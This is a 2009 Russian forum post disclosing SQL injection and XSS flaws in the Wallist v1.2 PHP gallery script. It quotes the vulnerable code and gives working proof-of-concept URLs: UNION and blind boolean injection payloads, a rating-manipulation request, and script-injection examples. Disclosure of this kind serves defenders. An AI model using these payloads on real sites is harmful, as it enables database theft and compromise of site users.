Показать сообщение отдельно

  #99  
Старый 04.03.2009, 00:06
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Wallist v1.2 - скрипт фотогаллереи
Уязвимость нашел: Kraneg
SQL-Inj:
1. при просмотре галереи в файле files/view.inc отсутствует фильтрация или вообще что то похожее на защиту от скули =(
Уязвимый код:
PHP код:
if(isset($_GET['pc']))
{
$query_pc = @mysql_query("select * from ".$separator."pod_categories where id_podcat=".$_GET['pc'].";");
if(
$query_pc)
{
//если запрос выполнен успешно
//Ищем категорию по данной подкатегории
$query_c= @mysql_query("select * from ".$separator."categories where id_cat=".mysql_result($query_pc,0,'id_cat').";");

if(!
$query_c){show_error("Извените запрос на список категорий не выполнен, возможные причины:<li>Данного раздела не существует<li>Не доступна база данных");}
        }

        else {
show_error("Извените запрос на подкатегорию не выполнен, возможные причины:<li>Данного подраздела не существует<li>Не доступна база данных");}

        }
else
{
$query_c= @mysql_query("select * from ".$separator."categories where id_cat=".$_GET['c'].";");
if(!
$query_c){show_error("Извените запрос на список категорий не выполнен, возможные причины:<li>Данного раздела не существует<li>Не доступна база данных");}
        }
[....]
$cat['name']=@mysql_result($query_c,0,'name');
[....]
$p_cat['name']=@mysql_result($query_pc,0,'name');
[....]
echo 
"
<table width='100%'>
<tr><td width='50%'></td><td align=right>Раздел: "
.$cat['name']."</td></tr>";
if (isset(
$p_cat)){echo "
<tr><td width='50%'></td><td align=right>Подраздел: "
.$p_cat['name']."</td></tr>";
}
echo 
"
</table>
"

Пример использования уязвимости:
Код:
http://localhost/wallist/?action=ShowGallery&pc=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4--
2.Отсутствие фильтрации в файле vote.php
Уязвимый код:
PHP код:
$user=mysql_query("select ip from rating where id_im=".$_GET['id']." and ip='".$_SERVER['REMOTE_ADDR']."';");
$rows=mysql_num_rows($user);
if(
$rows>0)
{
 echo 
"<center><h3><font color=red>Вы уже участвовали в рейтинге по данной фотографии...";

Пример запроса:
Голосуем за какую ни будь фотографию и далее выполняем запрос
Код:
http://localhost/wallist/vote.php?action=vote&rating=12&id=[ID]+and+ASCII(lower(substring(version(),1,1)))=53--
где [ID] равен иду фотографии за которую голосовали, к примеру
Код:
 http://localhost/wallist/vote.php??action=vote&rating=12&id=5+and+ASCII(lower(substring(version(),1,1)))=53--
Если версия 5(ASCII = 53) то скрипт выведет Вы уже участвовали в рейтинге по данной фотографии... если другая то Спасибо что проголосовали за данную фотографию! я привел версию для примера...
Там же к примеру никто не ограничивает нас в выставлении балов картинке, то есть максимальные 12 балов вовсе не максимальные =). К примеру выполним:
Код:
http://localhost/wallist/vote.php?action=vote&rating=4000000&id=4
и поставится картинке с идом 4 - 4000000 балов =))
3. Опять скуль =)
Уязвимость находится в файле view_large.inc приводить код не буду почти везде он однотипный.. =\
Пример использования:
Код:
http://localhost/wallist/?action=ShowGalleryFile&id=-4+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8--
XSS:
1.Активная xss в коментариях, не фильтруется поле name(files/addcom.inc)...
Уязвимый код:
PHP код:
 if (!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i"$_GET['email']))
        {

          echo 
"<center><font color=red>Неверно введен е-mail. Введите e-mail
          в виде <i>"
.$email."</i><br><a href='?action=ShowGalleryFile&id=".$_SESSION['id_im']."&functions=AddCom' title='Вернуться к форме'>[Вернуться к форме]</a>";
          exit();
        }

$query_com=@mysql_query("insert into ".$separator."comment values('',".$_GET['id'].",'".$_GET['name']."','".$_GET['email']."','".htmlspecialchars($_GET['text'])."',NOW(),'');"); 
2.Пасивная в скрипте vote.php:
Уязвимый код:
Код HTML:
<b>Спасибо что проголосовали за данную фотографию!</b></font><font color='#0071FB' size=-1><br>
Данной фотографии вы поставили: ".$_GET['rating']."
пример:
Код:
http://localhost/wallist/vote.php?action=vote&rating=<script>alert()</script>&id=[ID]
где ID картинка за которую вы еще не голосовали...

Вобщем думаю это не все, просто это все, на что хватило меня =) стандартный префикс db_ таблица с пользователями user_name и user_password(в открытом виде) админа к сожалению там нет... он собственно в файле config.php =) так же скрипт за собой не то что не удаляет, даже не просит удалить папку install со всеми вытекающими... =\

Последний раз редактировалось Kraneg; 04.03.2009 в 00:13..
 
Ответить с цитированием